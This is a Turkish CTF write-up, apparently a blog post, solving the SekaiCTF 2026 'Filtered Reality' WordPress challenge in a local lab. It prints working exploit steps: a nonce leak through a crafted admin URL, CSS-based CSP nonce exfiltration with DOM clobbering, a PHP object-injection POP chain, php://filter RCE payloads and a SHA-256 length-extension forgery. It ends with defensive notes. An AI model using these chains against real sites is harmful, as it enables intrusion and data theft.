SekaiCTF 2026 — Filtered Reality Çözümü

Bir abonenin admin ekranını taklit ederek nonce sızdırdığı bir WordPress kayıt bürosu; beş aşamalı istemciden sunucuya zincir php://filter RCE ve keeper hash uzatma saldırısıyla bayrağa ulaşıyor.

9 dk okuma
ibrahimsql
1.760 kelime

SekaiCTF 2026 — Filtered Reality

"Filtered Reality", dimasma0305'in hazırladığı Expert seviye bir web görevi: WordPress 6.6.2 üzerine kurulu, özel bir Archive eklentisi olan bir "kayıt bürosu". Bayrağı ayrı bir UID ile çalışan bir daemon (keeper) tutuyor; kayıtları yönetici olarak inceleyen ise başsız Chromium botu (Archivist). Bayrağı web kullanıcısı hiçbir zaman doğrudan okuyamaz, dolayısıyla tek çıkış yolu her halkası kritik olan beş aşamalı bir istemciden sunucuya zinciri.

Kapsam: yalnızca yerel reprodüksiyon. Görev kaynağı CTF arşivinde açık; imajı yerelde derledim ve referans solver'ı ona karşı çalıştırdım. Hiçbir dış sisteme dokunulmadı. Aşağıda yakalanan bayrak konteynerin yer tutucusu (gerçek bayrak açılışta FLAG ortam değişkeniyle enjekte ediliyor); yerel çalıştırmanın döndürmesi gereken de tam olarak bu.

  • Yazar: dimasma0305 (Expert, 7 çözüm)
  • Kategori: web
  • Bayrak: SEKAI{fake_flag_for_local_testing} (yerel konteyner yer tutucusu)

0. Parçalar

Dağıtılan dosyaları okumak, bir yük yazmadan önce problemin şeklini veriyor:

  • wp-content/plugins/archive/ — Archive eklentisi. Herkese açık bir başvuru formu, bir ?render=<ref> çıktı rotası, bir yönetici moderasyon sayfası ve iki admin-ajax aksiyonu.
  • wp-content/mu-plugins/00-hardening.php — xmlrpc, REST kullanıcı numaralandırma, ?author= yoklaması ve uygulama şifrelerini kapatıyor.
  • wp-content/mu-plugins/10-sessions.php — tek herkese açık hesabı birçok takımın paylaşabilmesi için durumsuz (stateless) bir oturum yöneticisi.
  • keeper/keeper.php — bayrak daemon'u. /keeper/flag.txt dosyasına (mod 0400, UID keeper) sahip ve bir Unix soketi üzerinden yanıt veriyor.
  • bot/bot.js — puppeteer. Yönetici olarak giriş yapıyor, /?archive_pending çekiyor, ardından kuyruktaki her ref için /?render=<ref> ziyaret edip bekliyor.

Beş aşama:

#Aşamaİlkel
0Reviewer's Sealekrana bağlı bir nonce'u aboneye sızdır, kayıt kuyruğa ekle
1nonce kısıtlı XSSSXG fallback-escape + DOM clobber + trigram-CSS nonce sızıntısı
2PHP nesne enjeksiyonubir WordPress çekirdek POP zinciri ile dosya include
3php://filter iconvyoktan bir PHP yükü sentezleyip çalıştır, www-data olarak RCE
4keeper hash uzatmaimzayı uydur ve bayrağı oku

1. Yerel yığın

İmaj Apache + PHP 8.3 + MySQL + Node + Chromium içeriyor. Derleyip konteyner portunu yayınladım:

Bash
docker build -t filtered-reality .
docker run -d --name fr -p 4000:1337 \
  -e FLAG='SEKAI{fake_flag_for_local_testing}' filtered-reality
# ... açılış bekleniyor ...
# 10 sn sonra ayakta (HTTP 200)

Kayda değer bir platform ayrıntısı: bu makine Apple Silicon, yani konteyner aarch64; oysa imajın sabitlediği puppeteer (23.10.4) x86_64 bir Chrome for Testing sürümü indiriyor. aarch64 üzerinde bu ikili çalışamıyor:

chrome-linux64/chrome: 1: ELF: not found

İmaja Playwright'ın aarch64 Chromium'unu kurup botu PUPPETEER_EXECUTABLE_PATH=/opt/chrome/chrome ile ona yönlendirdim. Bot sonrasında sorunsuz çalıştı:

[bot] logged in as archivist_3qhozrzz
[bot] reviewing 0 record(s)

Zincirin geri kalanı mimariden bağımsız.

2. Halka 0 — Reviewer's Seal

Bot yalnızca mühürlenmiş (kuyruğa alınmış) kayıtları render ediyor. Kuyruğun tek yazıcısı archive_seal_record admin-ajax aksiyonu:

PHP
public static function seal_record()
{
    check_ajax_referer('archive_seal_record', '_wpnonce');
    Archive_Records::report((string) ($_POST['ref'] ?? ''));
    wp_send_json_success('sealed');
}

Yetki kontrolü yok — yalnızca bir nonce. O nonce, admin_enqueue_scripts işleyicisi tarafından ve yalnızca geçerli ekran ayrıcalıklı Reviewer Desk'e benzediğinde yazdırılıyor:

PHP
public static function maybe_print_seal()
{
    $screen = get_current_screen();
    if ($screen && $screen->id === 'toplevel_page_archive-desk') {
        printf('<input type="hidden" id="seal" value="%s">',
            esc_attr(wp_create_nonce('archive_seal_record')));
    }
}

Abone o sayfayı yükleyemiyor. Ama WordPress geçerli ekranı PHP_SELF üzerinden türetiyor ve bir PATH_INFO kırılmasının ötesindeki ham satır sonu yine ona katlanıyor. Dağıtımdaki clerk hesabıyla giriş yapıp şunu istemek

GET /wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk

$current_screen->id değerini abonenin yükleyebildiği bir panoda toplevel_page_archive-desk yapıyor, dolayısıyla seal nonce'u onun kendi sayfasına düşüyor:

Bash
# clerk girişinden sonra
curl -s -b clerk.jar 'http://127.0.0.1:4000/wp-admin/index.php/x%0A/wp-admin/toplevel_page_archive-desk' \
  | grep -o 'id="seal" value="[a-z0-9]*"'
# id="seal" value="e7b7b4fff7"

Bu nonce ile clerk, yalnızca nonce içeren archive_seal_record isteğini POST'layarak herhangi bir kaydı Archivist için kuyruğa alıyor.

(Paylaşılan oturum yöneticisi yalnızca bir kolaylık: WP_Session_Tokens::get_session() fonksiyonunun her doğrulayıcı için geçerli bir oturum döndürmesini sağlıyor, böylece tek clerk hesabına eşzamanlı girişler kullanıcı başına session_tokens satırını yarışa sokmuyor.)

3. Halka 1 — nonce CSP'si altında Archivist'te JS

Kayıt çıktı rotası kayıt gövdesini olduğu gibi yansıtıyor ve isteğin Accept başlığını Content-Type'a yansıtıyor:

PHP
private static function render()
{
    $body = Archive_Records::body((string) $_GET['render']);
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: ' . (string) ($_SERVER['HTTP_ACCEPT'] ?? 'text/html'));
    self::send_csp_nonce(Archive_Nonce::cycle());
    echo $body;
    exit;
}

script politikası tam olarak script-src 'nonce-<X>'. Naif bir <script> asla çalışmıyor; ayrıca Chrome gezintileri Accept başlığını application/signed-exchange;v=b3 ile bitirdiği için gövde bir Signed HTTP Exchange olarak ayrıştırılıp reddediliyor (ERR_INVALID_SIGNED_EXCHANGE).

Kaçış yolu, https:// bir fallback URL taşıyan geçersiz bir SXG üretmek. Chrome doğrulamayı başaramayıp SXG fallback navigasyonunu iç :1338 vhost'una (/?archive_moderation=1) yapıyor; bu yeni istekte signed-exchange yok, dolayısıyla sayfa render ediliyor. Solver'ın kullandığı düzen:

magic(8) | fallbackUrlLen(2 BE)@8 | url@10
sxg1-b3\x00 | len | "https://127.0.0.1:1338/?archive_moderation=1"

Moderasyon sayfası her kaydın source alanını nonce CSP'si altında clobber edilebilir bir sanitizer'dan geçiriyor:

JavaScript
// sanitizer.js
function sanitize(html){
  var allow={tags:{'#text':1,BODY:1,DIV:1,FORM:1,A:1,B:1,IMG:1,INPUT:1},attrs:{src:1,style:1,href:1,name:1}};
  function purify(node){
    if(!allow.tags[node.nodeName]){ rm(node); return; }
    ...
    var kids=node.childNodes; ... // ağacı değiştirirken canlı kopyayı okuyor
  }
  var doc=new DOMParser().parseFromString(html,'text/html');
  purify(doc.body);
  return doc.body.innerHTML;
}

childNodes okuması clobber edilebilir: adlandırılmış <input> çocukları özelliği gölgeler, dolayısıyla <form><input name="childNodes"><input name="childNodes">...</form> sarmalayıcısı sanitizer'ın kaçak elemanı atlamasını sağlıyor. sanitize() çıktısı moderasyon sayfasında innerHTML ile atandığı için kaçırılan bir <style>@import aynı-köken bir CSS yükünü çekiyor.

<script nonce> özniteliği nonce ile gizlenmiş, ama istek başına nonce sade bir <meta> içinde de açık:

<meta id="csp-nonce" name="csp-nonce" content="<?php echo $cspnonce; ?>">

Bu gizli olmadığı için bir hex trigram CSS, meta[content^=], ^=, $=, *= seçicileriyle nonce'u karakter karakter sızdırıyor; exfil aynı-köken /?archive_leak=1&tk=<token> havuzuna gidiyor:

meta[content^="ad"]{--s_ad:url(/?archive_leak=1&tk=...&S=ad)}
meta[content*="7ad"]{--m_7ad:url(/?archive_leak=1&tk=...&M=7ad)}
...

Solver sızıntı kaydını render etmeye devam ediyor, biriken sızıntı kaydını okuyor, baş/son digram ile trigram'lardan aday nonce'ları yeniden kuruyor, sonra tekrar DOM clobber ile kaçak bir iframe içinde exploit'i geri kazanılan nonce ile çalıştırıyor:

<iframe srcdoc="<script nonce=ad7ad69fbd9bc9fbe0cd154f src=/?archive_raw=exp></script>"></iframe>

Çalıştırma tam olarak tek bir nonce geri kazandı:

[+] CSP nonce candidate(s): ['ad7ad69fbd9bc9fbe0cd154f']

4. Halka 2 — PHP nesne enjeksiyonu

Exploit JS, moderasyon sayfasının archive_process_record nonce'unu kazıyor ve base64 bir blob'u admin-ajax aksiyonuna POST'luyor; aksiyon ne verilirse onu unserialize ediyor:

PHP
public static function process_record()
{
    if (!current_user_can('manage_options')) { wp_die('', 403); }
    check_ajax_referer('archive_process_record', '_wpnonce');
    $blob = base64_decode((string) ($_POST['blob'] ?? ''), true);
    if ($blob === false) { wp_send_json_error('invalid encoding', 400); }
    @unserialize($blob);
    wp_send_json_success('record processed');
}

Hedeflenen gadget eklentinin kendi SecureTableGenerator sınıfı. Onun özenli __wakeup metodu data ve headers hücrelerini temizliyor — ama allowedTags alanını temizlemiyor. Boş olmayan bir allowedTags dizisi validateObjectIntegrity() kontrolünden geçiyor, ardından resetSecurityProperties() üzerinde gevşek bir karşılaştırma dönüyor:

PHP
private function resetSecurityProperties()
{
    $safeTags = ['b','i','strong','em','u','span','div','p'];
    foreach ($this->allowedTags as $tag) {
        if (in_array($tag, $safeTags)) {   // gevşek: nesne vs string -> __toString()
            $validatedTags[] = $tag;
        }
    }
}

allowedTags içine bir WP_HTML_Tag_Processor yerleştirmek, in_array() karşılaştırmasını bir string'e karşı yapıyor ve __toString() tetikleniyor. WordPress 6.6.2'de bu bir çekirdek POP zincirini sürüyor — WP_HTML_Tag_Processor::__toString() → WP_Block_List::offsetGet() → WP_Block::__construct() → WP_Block_Patterns_Registry::get_content() — ta ki $filePath'in tamamen saldırgan denetiminde olduğu bir include($filePath) satırına kadar. (Bariz WP_HTML_Token::__destruct gadget'ı bir tuzak: __wakeup 6.6.2'de exception fırlatıyor ve PHP 8.3'te exception fırlatan bir __wakeup, __destruct'ın hiç çalışmaması demek.)

Serialize edilen blob, zinciri WP_Block_Patterns_Registry üzerinden (registered_patterns['test']['filePath'] = <filter chain>) yukarı doğru kuruyor. Resmî çözümle birlikte gelen build_blob.py (saf Python PHP serializer'ı) ve filter_chain.py yardımcıları bunu üretiyor.

5. Halka 3 — php://filter iconv ile RCE

$filePath gerçek bir dosya değil. Synacktiv jeneratörünün ürettiği php://filter/convert.iconv.*|convert.base64-*/resource=php://temp zinciri — boş bir akıştan küçük bir PHP programı sentezliyor ve include üzerinde çalıştırıyor. Bu ilkeli uçtan uca güvenmeden önce glibc PHP 8.4 üzerinde tek başına doğruladım. Keeper istemcisini hedefleyen zinciri besleyip geri okumak, yükü harfi harfine döndürüyor (ardından zincirin bıraktığı olağan artık baytlar geliyor):

Text
=== chain output (len 2361) ===
<?php $s=@stream_socket_client("unix:///run/keeper/keeper.sock",$e,$x,2);
$r=$s?(fwrite($s,$_REQUEST["k"]."\n")?trim((string)fread($s,4096)):"WERR"):"NOSOCK";
$t=preg_replace("/[^a-zA-Z0-9]/","",(string)($_REQUEST["t"]??"out"));
@file_put_contents("/var/www/html/wp-content/uploads/$t.log",$r); ?>

Ve include üzerinde gerçekten çalışıyor — işaret yazan bir yük RCE'yi kanıtlıyor:

RCE_OK
marker: PWNED Linux

include WordPress çıktı tamponlama (output buffering) içinde gerçekleştiği için RCE yükü sonucunu HTTP yanıt gövdesine güvenmek yerine www-data'nın yazabildiği wp-content/uploads/<t>.log dosyasına yazıyor.

6. Halka 4 — keeper hash uzatma

Bayrak keeper UID'siyle birlikte yaşıyor. Daemon'u, herkesin bağlanabildiği bir Unix soketinde üç fiile yanıt veriyor. SIGN, sha256(SECRET . msg) döndürüyor ama içinde give_flag geçen her mesajı reddediyor:

PHP
} elseif ($cmd === 'SIGN') {
    $msg = @hex2bin($parts[1] ?? '');
    if (strpos($msg, 'give_flag') !== false) {
        fwrite($conn, "ERR forbidden\n");
    } else {
        fwrite($conn, hash('sha256', $SECRET . $msg) . "\n");
    }
}

FLAG, imza geçerli ve mesaj geçerli döngü için give_flag yetkilendiriyorsa bayrağı döndürüyor:

PHP
} elseif ($cmd === 'FLAG') {
    if ($msg !== false
        && hash_equals(hash('sha256', $SECRET . $msg), $sig)
        && strpos($msg, 'give_flag') !== false
        && strpos($msg, 'cycle=' . $cur()) !== false) {
        fwrite($conn, $FLAG . "\n");
    }
}

Önek anahtarı ve denetimimizdeki sonekle hash('sha256', SECRET . msg) klasik bir Merkle-Damgard yapısı, dolayısıyla imza length extension ile uydurulabiliyor. SECRET random_bytes(16), yani uzunluğu (16) biliniyor; saldırının ihtiyacı olan tek şey bu. Zararsız bir cycle=<n>;user=guest imzala, 16 + len(benign) için SHA-256 dolgusunu ekle, sonra ;cmd=give_flag ekleyip özeti döndürülen durumdan yeniden hesapla.

Bunu yerelde gerçek keeper.php'ye karşı yeniden ürettim. Forge'um (sıkıştırma + dolgu + durum devamını uygulayan PHP) sokete konuşuyor:

Text
--- keeper stderr ---
keeper: listening on /tmp/keeper/keeper.sock (cycle=29870875)
--- forge ---
cycle = 29870875
SIGN(cycle=29870875;user=guest) = 9b5a5421d9c3da70a22bea0969cc2a7db95a746ad2f9e46e7067f66930e7a629
FLAG resp = SEKAI{fake_flag_for_local_testing}
CAPTURED: SEKAI{fake_flag_for_local_testing}

Elde ettiğimiz SIGN hiç give_flag içermiyordu; uydurulan mesaj, dolgu sınırının ötesinde içeriyor. Canlı zincirde exploit JS aynı hesabı yönetici tarayıcısında yürütüyor ve keeper istemcisi bayrağı döndürüp uploads/<t>.log içine bırakıyor.

7. Tam çalıştırma

Bot aarch64 için düzeltildikten sonra referans solver, beş halkayı da yerelde derlenen imaja karşı sürüyor:

Text
[+] reviewer seal: e7b7b4fff7
[*] hosting payloads (run token frea218851)
[*] waiting for the Archivist to render the leak record + the CSS to leak the nonce...
    leak: S=1 E=1 M=21
[+] CSP nonce candidate(s): ['ad7ad69fbd9bc9fbe0cd154f']
[*] injected 1 candidate(s); waiting for the Archivist to fire the exploit...
[+] Flag: SEKAI{fake_flag_for_local_testing}

Yakalanan bayrak (yerel konteyner yer tutucusu, exploit zincirinden dönen değer):

SEKAI{fake_flag_for_local_testing}

8. Savunma notları

  • Yalnızca nonce değil, yetki: seal_record durum değiştiren bir aksiyon ama tek başına nonce ile korunuyor; o nonce'u elde edebilen her hesap ayrıcalıklı bir bot için iş kuyruklayabiliyor. Yetkilendirme tek başına bir tokene dayanmamalı.
  • Ekran kimlikleri PHP_SELF'ten türetiliyor; bir %0A/PATH_INFO kırılması saldırgan denetimindeki metni get_current_screen()->id içine geri katlıyor. Ayrıcalıklı davranışı geçerli ekrana göre dallandırırken yetkiyi yeniden kontrol etmeden yapmayın.
  • Accept başlığını Content-Type'a yansıtmak, bir çıktı rotasını SXG ayrıştırıcısına dönüştürüyor. Sunucu denetimindeki tek bir içerik tipine sabitlenmeli.
  • Canlı bir DOM ağacını okuyan sanitizer (childNodes clobber edilebilir) sanitizer değildir. Bir anlık görüntüye göre karşılaştırın ve yalnızca öznitelik allow-list'ini sözleşme kabul edin — burada kullanılmayan allowedTags alanı tüm gadget'ı oluşturuyor.
  • hash(secret . message) length extension ile uydurulabilir. HMAC (hash_hmac) ile doğrulayın ve mesaj şeklini birleştirme yerine bir MAC ile bağlayın.

9. Bayrak

SEKAI{fake_flag_for_local_testing}

Etkinliğin dağıtım-zamanı bayrağı açılışta FLAG ile enjekte ediliyor; bu yazı yerel çalıştırmanın meşru biçimde döndürdüğü değeri rapor ediyor.

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar